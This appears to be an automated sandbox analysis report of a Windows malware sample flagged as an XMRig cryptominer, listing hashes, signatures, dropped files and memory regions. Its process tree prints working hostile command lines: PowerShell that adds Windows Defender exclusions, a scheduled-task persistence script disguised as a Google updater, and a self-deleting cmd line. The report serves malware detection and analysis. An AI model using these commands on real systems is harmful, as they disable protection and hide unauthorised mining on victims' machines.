Resubmissions

21/07/2024, 20:17

240721-y27lvsvfll 10

06/06/2024, 10:00

240606-l14glacf9x 10

06/06/2024, 10:00

240606-l12yrscf9w 10

06/06/2024, 09:56

240606-lyrd9acf71 10

06/06/2024, 09:55

240606-lx1xascf7v 10

06/06/2024, 09:55

240606-lxyf6scf7t 10

06/06/2024, 09:35

240606-lkvvhsce2y 10

06/06/2024, 09:32

240606-lhs8xacd7v 10

06/06/2024, 09:32

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    1800s
  • max time network
    1781s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 09:55

General

  • Target

    qM5GMXBk6hJE6Y5e (28).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3556
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3188
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1520
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1944
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3232
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1444
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4672
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2276
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1988
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:2616
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:1884
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3900

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            f724bbbca205ff67756a1211f194a637

            SHA1

            49556a18431c690a2d42d87f93e6eb68a96d1d98

            SHA256

            12aaadbd93ee8af4fd10d6308d067a520ae60e2a3c1573fd9f94ca952a0eafc5

            SHA512

            f09238aaa243ee6841382dfd95bb7fadec7fb8a367be5e55fe651191dd3e9110a39b380ab72a595c7d09a1b49ab174fc40bdcbfb7a0b593760db924566bbfb75

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnqq0p52.esd.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            fc1eb5010b6ad55adc66af2a5416b776

            SHA1

            268d970aae8bbbd076a1c34b41d6c9fbc6ebfe88

            SHA256

            3f4cb13b4f1e1fd40d1f554875df908dab5bf3233300214e9572d74c86657da9

            SHA512

            f707389df8ef9d805da128675dca3dd6ab54cf8b0b271c31fc2f886c096fbb22dc27b5767e2c1c433ad51835f874a9224cb064ea701b54b3d64e381d2fc9a77f

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            8682772e471a0e8fb38cb90a55bb647b

            SHA1

            c7db8683ed83f0759ecf7f819483eb081492f225

            SHA256

            f6bfc37cf3b113bd2b56e54c3c3116681508de7a7e330ea0164bcc4dc8e0b596

            SHA512

            a8167882467536861c12bcd041028771d82e740f4d09b32b89a4188408dd7fc0260965af17b7c31ab327e8aed1981d33575f786bc13263ab1001896de2af0700

          • memory/1884-104-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-140-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-166-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-164-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-162-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-160-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-158-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-156-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-154-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-152-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-150-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-148-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-146-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-144-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-142-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-138-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-136-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-134-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-132-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-130-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-128-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-126-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-103-0x0000025DFF510000-0x0000025DFF530000-memory.dmp

            Filesize

            128KB

          • memory/1884-124-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-122-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-120-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-110-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-118-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-112-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-116-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/1884-114-0x00007FF614ED0000-0x00007FF6156C4000-memory.dmp

            Filesize

            8.0MB

          • memory/3144-18-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3144-29-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3144-30-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3144-31-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3144-32-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3144-34-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3188-12-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3188-13-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3188-1-0x00007FF8AD283000-0x00007FF8AD285000-memory.dmp

            Filesize

            8KB

          • memory/3188-4-0x000001FFF7BE0000-0x000001FFF7C02000-memory.dmp

            Filesize

            136KB

          • memory/3188-16-0x00007FF8AD280000-0x00007FF8ADD41000-memory.dmp

            Filesize

            10.8MB

          • memory/3232-72-0x00000170A7E40000-0x00000170A7E4A000-memory.dmp

            Filesize

            40KB

          • memory/3232-76-0x00000170A7E90000-0x00000170A7E9A000-memory.dmp

            Filesize

            40KB

          • memory/3232-71-0x00000170A7E60000-0x00000170A7E7C000-memory.dmp

            Filesize

            112KB

          • memory/3232-70-0x00000170A7CF0000-0x00000170A7CFA000-memory.dmp

            Filesize

            40KB

          • memory/3232-69-0x00000170A7C30000-0x00000170A7CE5000-memory.dmp

            Filesize

            724KB

          • memory/3232-68-0x00000170A7C10000-0x00000170A7C2C000-memory.dmp

            Filesize

            112KB

          • memory/3232-75-0x00000170A7E80000-0x00000170A7E86000-memory.dmp

            Filesize

            24KB

          • memory/3232-74-0x00000170A7E50000-0x00000170A7E58000-memory.dmp

            Filesize

            32KB

          • memory/3232-73-0x00000170A7EA0000-0x00000170A7EBA000-memory.dmp

            Filesize

            104KB

          • memory/3900-105-0x00007FF795840000-0x00007FF795A51000-memory.dmp

            Filesize

            2.1MB

          • memory/3900-49-0x00007FF795840000-0x00007FF795A51000-memory.dmp

            Filesize

            2.1MB

          • memory/4212-36-0x00007FF71AAC0000-0x00007FF71ACD1000-memory.dmp

            Filesize

            2.1MB

          • memory/4212-0-0x00007FF71AAC0000-0x00007FF71ACD1000-memory.dmp

            Filesize

            2.1MB

          • memory/4672-113-0x00007FF729700000-0x00007FF729716000-memory.dmp

            Filesize

            88KB

          • memory/4672-109-0x00007FF729700000-0x00007FF729716000-memory.dmp

            Filesize

            88KB